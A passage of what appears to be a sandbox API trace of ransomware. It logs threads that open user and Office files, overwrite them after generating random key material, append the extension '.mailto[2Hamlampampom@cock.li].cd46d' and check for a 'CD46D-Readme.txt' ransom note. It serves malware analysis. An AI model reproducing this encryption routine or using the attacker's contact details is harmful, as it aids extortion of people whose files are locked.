Seed=0x156ef754) returned 0x9cfc724 [0061.215] RtlRandomEx (in: Seed=0x156ef754 | out: Seed=0x156ef754) returned 0x40da8e63 [0061.215] RtlRandomEx (in: Seed=0x156ef754 | out: Seed=0x156ef754) returned 0x2a6cd0fb [0061.215] RtlRandomEx (in: Seed=0x156ef754 | out: Seed=0x156ef754) returned 0x2369737b [0061.215] RtlRandomEx (in: Seed=0x156ef754 | out: Seed=0x156ef754) returned 0x42ce6f4d [0061.215] RtlRandomEx (in: Seed=0x156ef754 | out: Seed=0x156ef754) returned 0x2f32e46a [0061.215] RtlRandomEx (in: Seed=0x156ef754 | out: Seed=0x156ef754) returned 0x4245d620 [0061.215] RtlRandomEx (in: Seed=0x156ef754 | out: Seed=0x156ef754) returned 0x39f7f642 [0061.215] RtlRandomEx (in: Seed=0x156ef754 | out: Seed=0x156ef754) returned 0x6077ae5b [0061.215] RtlRandomEx (in: Seed=0x156ef754 | out: Seed=0x156ef754) returned 0x229ac33e [0061.215] RtlRandomEx (in: Seed=0x156ef754 | out: Seed=0x156ef754) returned 0x7e778559 [0061.216] RtlRandomEx (in: Seed=0x156ef754 | out: Seed=0x156ef754) returned 0xac8f9ec [0061.216] RtlRandomEx (in: Seed=0x156ef754 | out: Seed=0x156ef754) returned 0x5cad1dfd [0061.216] RtlRandomEx (in: Seed=0x156ef754 | out: Seed=0x156ef754) returned 0x7de63b67 [0061.216] RtlRandomEx (in: Seed=0x156ef754 | out: Seed=0x156ef754) returned 0x419d33dd [0061.216] RtlRandomEx (in: Seed=0x156ef754 | out: Seed=0x156ef754) returned 0x534f9d73 [0061.216] RtlRandomEx (in: Seed=0x156ef754 | out: Seed=0x156ef754) returned 0x70c34a5a [0061.216] RtlRandomEx (in: Seed=0x156ef754 | out: Seed=0x156ef754) returned 0x3feae0c1 [0061.228] ReadFile (in: hFile=0x1248, lpBuffer=0x19c4f2b8, nNumberOfBytesToRead=0x33c6, lpNumberOfBytesRead=0x156ef744, lpOverlapped=0x0 | out: lpBuffer=0x19c4f2b8*, lpNumberOfBytesRead=0x156ef744*=0x33c6, lpOverlapped=0x0) returned 1 [0061.230] SetFilePointerEx (in: hFile=0x1248, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.230] WriteFile (in: hFile=0x1248, lpBuffer=0x19c5bac0*, nNumberOfBytesToWrite=0x33c6, lpNumberOfBytesWritten=0x156ef740, lpOverlapped=0x0 | out: lpBuffer=0x19c5bac0*, lpNumberOfBytesWritten=0x156ef740*=0x33c6, lpOverlapped=0x0) returned 1 [0061.462] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d97400 [0061.462] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d97428 [0061.462] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d97428) returned 1 [0061.462] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19c5bac0) returned 1 [0061.544] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19c4f2b8) returned 1 [0061.544] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418f50) returned 1 [0061.544] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402b58) returned 1 [0061.544] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x4e0450 [0061.544] SetFilePointerEx (in: hFile=0x1248, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.544] WriteFile (in: hFile=0x1248, lpBuffer=0x12d7d9d0*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x156ef7a8, lpOverlapped=0x0 | out: lpBuffer=0x12d7d9d0*, lpNumberOfBytesWritten=0x156ef7a8*=0x109, lpOverlapped=0x0) returned 1 [0061.553] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7d9d0) returned 1 [0061.553] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e0480) returned 1 [0061.553] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec92f0) returned 1 [0061.553] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e0450) returned 1 [0061.553] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d97400) returned 1 [0061.553] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9318) returned 1 [0061.553] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec93b8) returned 1 [0061.554] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec93e0) returned 1 [0061.554] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc8) returned 0x5e00540 [0061.554] wcscpy (in: _Dest=0x5e00540, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" [0061.554] wcscat (in: _Dest=0x5e00540, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF.mailto[2Hamlampampom@cock.li].cd46d" [0061.554] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x156ef760, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0061.554] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xde) returned 0x44cfa8 [0061.555] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44cfa8) returned 1 [0061.555] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e1e828) returned 1 [0061.555] NtQueryInformationFile (in: FileHandle=0x1248, IoStatusBlock=0x156ef76c, FileInformation=0x156ef744, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x156ef76c, FileInformation=0x156ef744) returned 0x0 [0061.555] NtSetInformationFile (FileHandle=0x1248, IoStatusBlock=0x156ef76c, FileInformation=0x156ef744, Length=0x28, FileInformationClass=0x4) returned 0x0 [0061.556] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00540) returned 1 [0061.556] FlushFileBuffers (hFile=0x1248) returned 1 [0062.198] CloseHandle (hObject=0x1248) returned 1 [0062.660] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8a) returned 0x97cdee8 [0062.660] wcscpy (in: _Dest=0x97cdee8, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0062.660] wcscat (in: _Dest=0x97cdee8, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CD46D-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CD46D-Readme.txt" [0062.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CD46D-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cd46d-readme.txt")) returned 0x20 [0063.079] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cdee8) returned 1 [0063.079] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96f9658) returned 1 Thread: id = 1065 os_tid = 0xe04 [0056.067] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wOptiQPJiY3.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\woptiqpjiy3.m4a")) returned 0x20 [0056.067] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wOptiQPJiY3.m4a", dwFileAttributes=0x20) returned 1 [0059.881] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wOptiQPJiY3.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\woptiqpjiy3.m4a"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x4a4 [0059.881] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0xe63fe08 | out: lpFileSize=0xe63fe08*=8944) returned 1 [0059.881] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x22ec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.881] ReadFile (in: hFile=0x4a4, lpBuffer=0xe63fd8c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xe63fd88, lpOverlapped=0x0 | out: lpBuffer=0xe63fd8c*, lpNumberOfBytesRead=0xe63fd88*=0x4, lpOverlapped=0x0) returned 1 [0059.882] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.882] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce500 [0059.882] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce5a0 [0059.882] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce618 [0059.882] NtQuerySystemTime (in: CurrentTime=0xe63fd68 | out: CurrentTime=0xe63fd68*=132174898238652000) returned 0x0 [0059.882] RtlRandomEx (in: Seed=0xe63fd74 | out: Seed=0xe63fd74) returned 0x40a41680 [0059.882] RtlRandomEx (in: Seed=0xe63fd74 | out: Seed=0xe63fd74) returned 0x20b61ced [0059.882] RtlRandomEx (in: Seed=0xe63fd74 | out: Seed=0xe63fd74) returned 0x51bdfebc [0059.882] RtlRandomEx (in: Seed=0xe63fd74 | out: Seed=0xe63fd74) returned 0x8f04bf0 [0059.882] RtlRandomEx (in: Seed=0xe63fd74 | out: Seed=0xe63fd74) returned 0x74afa67d [0059.882] RtlRandomEx (in: Seed=0xe63fd74 | out: Seed=0xe63fd74) returned 0x3b0a8b2d [0059.882] RtlRandomEx (in: Seed=0xe63fd74 | out: Seed=0xe63fd74) returned 0x1f730484 [0059.882] RtlRandomEx (in: Seed=0xe63fd74 | out: Seed=0xe63fd74) returned 0xa06b2b6 [0059.882] RtlRandomEx (in: Seed=0xe63fd74 | out: Seed=0xe63fd74) returned 0x36d9a979 [0059.882] RtlRandomEx (in: Seed=0xe63fd74 | out: Seed=0xe63fd74) returned 0x4ba64ae9 [0059.883] RtlRandomEx (in: Seed=0xe63fd74 | out: Seed=0xe63fd74) returned 0x6f3529a0 [0059.883] RtlRandomEx (in: Seed=0xe63fd74 | out: Seed=0xe63fd74) returned 0x5f1aa8e2 [0059.883] RtlRandomEx (in: Seed=0xe63fd74 | out: Seed=0xe63fd74) returned 0x2a3a5ec5 [0059.883] RtlRandomEx (in: Seed=0xe63fd74 | out: Seed=0xe63fd74) returned 0x15119015 [0059.883] RtlRandomEx (in: Seed=0xe63fd74 | out: Seed=0xe63fd74) returned 0x238e81ad [0059.883] RtlRandomEx (in: Seed=0xe63fd74 | out: Seed=0xe63fd74) returned 0x6d57d5a5 [0059.883] RtlRandomEx (in: Seed=0xe63fd74 | out: Seed=0xe63fd74) returned 0x37346d38 [0059.883] RtlRandomEx (in: Seed=0xe63fd74 | out: Seed=0xe63fd74) returned 0x1ba01ed7 [0059.883] RtlRandomEx (in: Seed=0xe63fd74 | out: Seed=0xe63fd74) returned 0x50fc355b [0059.883] RtlRandomEx (in: Seed=0xe63fd74 | out: Seed=0xe63fd74) returned 0x744442d9 [0059.883] RtlRandomEx (in: Seed=0xe63fd74 | out: Seed=0xe63fd74) returned 0x65df188a [0059.883] RtlRandomEx (in: Seed=0xe63fd74 | out: Seed=0xe63fd74) returned 0x62dfa66c [0059.883] RtlRandomEx (in: Seed=0xe63fd74 | out: Seed=0xe63fd74) returned 0x733fe97b [0059.883] RtlRandomEx (in: Seed=0xe63fd74 | out: Seed=0xe63fd74) returned 0x80b44c9 [0059.883] RtlRandomEx (in: Seed=0xe63fd74 | out: Seed=0xe63fd74) returned 0x7a9fd40b [0059.883] RtlRandomEx (in: Seed=0xe63fd74 | out: Seed=0xe63fd74) returned 0x5624e784 [0059.883] RtlRandomEx (in: Seed=0xe63fd74 | out: Seed=0xe63fd74) returned 0x35bad887 [0059.883] RtlRandomEx (in: Seed=0xe63fd74 | out: Seed=0xe63fd74) returned 0x565ead01 [0059.883] RtlRandomEx (in: Seed=0xe63fd74 | out: Seed=0xe63fd74) returned 0x6518fd2c [0059.883] RtlRandomEx (in: Seed=0xe63fd74 | out: Seed=0xe63fd74) returned 0x37ea06c0 [0059.883] RtlRandomEx (in: Seed=0xe63fd74 | out: Seed=0xe63fd74) returned 0x53f50a36 [0059.883] RtlRandomEx (in: Seed=0xe63fd74 | out: Seed=0xe63fd74) returned 0x7a0f60 [0059.896] ReadFile (in: hFile=0x4a4, lpBuffer=0x1978c208, nNumberOfBytesToRead=0x22f0, lpNumberOfBytesRead=0xe63fd64, lpOverlapped=0x0 | out: lpBuffer=0x1978c208*, lpNumberOfBytesRead=0xe63fd64*=0x22f0, lpOverlapped=0x0) returned 1 [0059.897] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.897] WriteFile (in: hFile=0x4a4, lpBuffer=0x19798a10*, nNumberOfBytesToWrite=0x22f0, lpNumberOfBytesWritten=0xe63fd60, lpOverlapped=0x0 | out: lpBuffer=0x19798a10*, lpNumberOfBytesWritten=0xe63fd60*=0x22f0, lpOverlapped=0x0) returned 1 [0062.567] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428f50 [0062.567] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428f78 [0062.567] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428f78) returned 1 [0062.567] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19798a10) returned 1 [0062.774] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x1978c208) returned 1 [0062.774] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ef018) returned 1 [0062.774] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bdc0) returned 1 [0062.774] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x2b) returned 0x44b058 [0062.774] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.775] WriteFile (in: hFile=0x4a4, lpBuffer=0x12d7c508*, nNumberOfBytesToWrite=0x10f, lpNumberOfBytesWritten=0xe63fdc8, lpOverlapped=0x0 | out: lpBuffer=0x12d7c508*, lpNumberOfBytesWritten=0xe63fdc8*=0x10f, lpOverlapped=0x0) returned 1 [0062.925] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7c508) returned 1 [0062.925] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44b090) returned 1 [0062.925] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf438) returned 1 [0062.925] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44b058) returned 1 [0062.925] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428f50) returned 1 [0062.925] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce5a0) returned 1 [0062.925] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce640) returned 1 [0062.925] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce668) returned 1 [0062.925] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb4) returned 0x5e02ba0 [0062.925] wcscpy (in: _Dest=0x5e02ba0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wOptiQPJiY3.m4a" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wOptiQPJiY3.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wOptiQPJiY3.m4a" [0062.925] wcscat (in: _Dest=0x5e02ba0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wOptiQPJiY3.m4a.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wOptiQPJiY3.m4a.mailto[2Hamlampampom@cock.li].cd46d" [0062.925] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wOptiQPJiY3.m4a.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xe63fd80, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wOptiQPJiY3.m4a.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0062.926] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xca) returned 0x40cda0 [0062.957] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40cda0) returned 1 [0062.957] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x431ec8) returned 1 [0062.957] NtQueryInformationFile (in: FileHandle=0x4a4, IoStatusBlock=0xe63fd8c, FileInformation=0xe63fd64, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xe63fd8c, FileInformation=0xe63fd64) returned 0x0 [0062.957] NtSetInformationFile (FileHandle=0x4a4, IoStatusBlock=0xe63fd8c, FileInformation=0xe63fd64, Length=0x28, FileInformationClass=0x4) returned 0x0 [0062.959] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e02ba0) returned 1 [0062.959] FlushFileBuffers (hFile=0x4a4) returned 1 [0066.197] CloseHandle (hObject=0x4a4) Thread: id = 1066 os_tid = 0xe54 [0056.067] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yetHxg6wK6sPJgProQ.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yethxg6wk6spjgproq.bmp")) returned 0x20 [0056.068] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yetHxg6wK6sPJgProQ.bmp", dwFileAttributes=0x20) returned 1 [0059.898] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yetHxg6wK6sPJgProQ.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yethxg6wk6spjgproq.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x49c [0059.898] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x1560fa10 | out: lpFileSize=0x1560fa10*=75920) returned 1 [0059.898] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x1288c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.898] ReadFile (in: hFile=0x49c, lpBuffer=0x1560f994, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1560f990, lpOverlapped=0x0 | out: lpBuffer=0x1560f994*, lpNumberOfBytesRead=0x1560f990*=0x4, lpOverlapped=0x0) returned 1 [0059.899] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.899] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce500 [0059.899] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce618 [0059.899] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce690 [0059.899] NtQuerySystemTime (in: CurrentTime=0x1560f970 | out: CurrentTime=0x1560f970*=132174898238808000) returned 0x0 [0059.899] RtlRandomEx (in: Seed=0x1560f97c | out: Seed=0x1560f97c) returned 0x166dba2e [0059.899] RtlRandomEx (in: Seed=0x1560f97c | out: Seed=0x1560f97c) returned 0xce35f41 [0059.899] RtlRandomEx (in: Seed=0x1560f97c | out: Seed=0x1560f97c) returned 0x4fac7e9f [0059.899] RtlRandomEx (in: Seed=0x1560f97c | out: Seed=0x1560f97c) returned 0x7457197 [0059.899] RtlRandomEx (in: Seed=0x1560f97c | out: Seed=0x1560f97c) returned 0x139490e1 [0059.899] RtlRandomEx (in: Seed=0x1560f97c | out: Seed=0x1560f97c) returned 0x4b3cbb11 [0059.899] RtlRandomEx (in: Seed=0x1560f97c | out: Seed=0x1560f97c) returned 0x2c692ba8 [0059.899] RtlRandomEx (in: Seed=0x1560f97c | out: Seed=0x1560f97c) returned 0x6e5b13a5 [0059.899] RtlRandomEx (in: Seed=0x1560f97c | out: Seed=0x1560f97c) returned 0x44433cd1 [0059.899] RtlRandomEx (in: Seed=0x1560f97c | out: Seed=0x1560f97c) returned 0x62ee79ff [0059.899] RtlRandomEx (in: Seed=0x1560f97c | out: Seed=0x1560f97c) returned 0xe60288a [0059.899] RtlRandomEx (in: Seed=0x1560f97c | out: Seed=0x1560f97c) returned 0x684f2d92 [0059.899] RtlRandomEx (in: Seed=0x1560f97c | out: Seed=0x1560f97c) returned 0x56504601 [0059.899] RtlRandomEx (in: Seed=0x1560f97c | out: Seed=0x1560f97c) returned 0x2e431274 [0059.899] RtlRandomEx (in: Seed=0x1560f97c | out: Seed=0x1560f97c) returned 0x34397f6b [0059.899] RtlRandomEx (in: Seed=0x1560f97c | out: Seed=0x1560f97c) returned 0x992d2f2 [0059.899] RtlRandomEx (in: Seed=0x1560f97c | out: Seed=0x1560f97c) returned 0x18c547ec [0059.899] RtlRandomEx (in: Seed=0x1560f97c | out: Seed=0x1560f97c) returned 0x1b569119 [0059.900] RtlRandomEx (in: Seed=0x1560f97c | out: Seed=0x1560f97c) returned 0x29d774a6 [0059.900] RtlRandomEx (in: Seed=0x1560f97c | out: Seed=0x1560f97c) returned 0x59423691 [0059.900] RtlRandomEx (in: Seed=0x1560f97c | out: Seed=0x1560f97c) returned 0x643e329d [0059.900] RtlRandomEx (in: Seed=0x1560f97c | out: Seed=0x1560f97c) returned 0x63fc51cc [0059.900] RtlRandomEx (in: Seed=0x1560f97c | out: Seed=0x1560f97c) returned 0x5270b3ab [0059.900] RtlRandomEx (in: Seed=0x1560f97c | out: Seed=0x1560f97c) returned 0x57cf9a49 [0059.900] RtlRandomEx (in: Seed=0x1560f97c | out: Seed=0x1560f97c) returned 0x2e7f6a08 [0059.900] RtlRandomEx (in: Seed=0x1560f97c | out: Seed=0x1560f97c) returned 0x6f7b2ec7 [0059.900] RtlRandomEx (in: Seed=0x1560f97c | out: Seed=0x1560f97c) returned 0x4a6e0ad4 [0059.900] RtlRandomEx (in: Seed=0x1560f97c | out: Seed=0x1560f97c) returned 0x69f7fcd2 [0059.900] RtlRandomEx (in: Seed=0x1560f97c | out: Seed=0x1560f97c) returned 0x1395aa28 [0059.900] RtlRandomEx (in: Seed=0x1560f97c | out: Seed=0x1560f97c) returned 0x49b7eaf9 [0059.900] RtlRandomEx (in: Seed=0x1560f97c | out: Seed=0x1560f97c) returned 0x685b5379 [0059.900] RtlRandomEx (in: Seed=0x1560f97c | out: Seed=0x1560f97c) returned 0x667ca042 [0059.913] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.913] ReadFile (in: hFile=0x49c, lpBuffer=0x197a5218, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x1560f950, lpOverlapped=0x0 | out: lpBuffer=0x197a5218*, lpNumberOfBytesRead=0x1560f950*=0xc800, lpOverlapped=0x0) returned 1 [0059.914] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.914] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bd78 [0059.914] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x437e68 [0059.914] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce500 [0059.914] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce500) returned 1 [0059.915] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x197b1a20 [0059.919] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce500 [0059.919] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce690 [0059.919] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce690) returned 1 [0059.920] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437e68) returned 1 [0059.920] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bd78) returned 1 [0059.920] WriteFile (in: hFile=0x49c, lpBuffer=0x197b1a20*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x1560f950, lpOverlapped=0x0 | out: lpBuffer=0x197b1a20*, lpNumberOfBytesWritten=0x1560f950*=0xc800, lpOverlapped=0x0) returned 1 [0062.569] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x197b1a20) returned 1 [0062.775] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x197a5218) returned 1 [0062.775] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x39) returned 0x44bdc0 [0062.775] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.775] WriteFile (in: hFile=0x49c, lpBuffer=0x95d0e18*, nNumberOfBytesToWrite=0x11d, lpNumberOfBytesWritten=0x1560f9d0, lpOverlapped=0x0 | out: lpBuffer=0x95d0e18*, lpNumberOfBytesWritten=0x1560f9d0*=0x11d, lpOverlapped=0x0) returned 1 [0062.926] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0e18) returned 1 [0062.926] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bf70) returned 1 [0062.926] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8fa8) returned 1 [0062.926] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bdc0) returned 1 [0062.926] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce500) returned 1 [0062.926] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce618) returned 1 [0062.927] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce6b8) returned 1 [0062.927] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce6e0) returned 1 [0062.927] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc2) returned 0x5e00540 [0062.927] wcscpy (in: _Dest=0x5e00540, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yetHxg6wK6sPJgProQ.bmp" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yetHxg6wK6sPJgProQ.bmp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yetHxg6wK6sPJgProQ.bmp" [0062.927] wcscat (in: _Dest=0x5e00540, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS 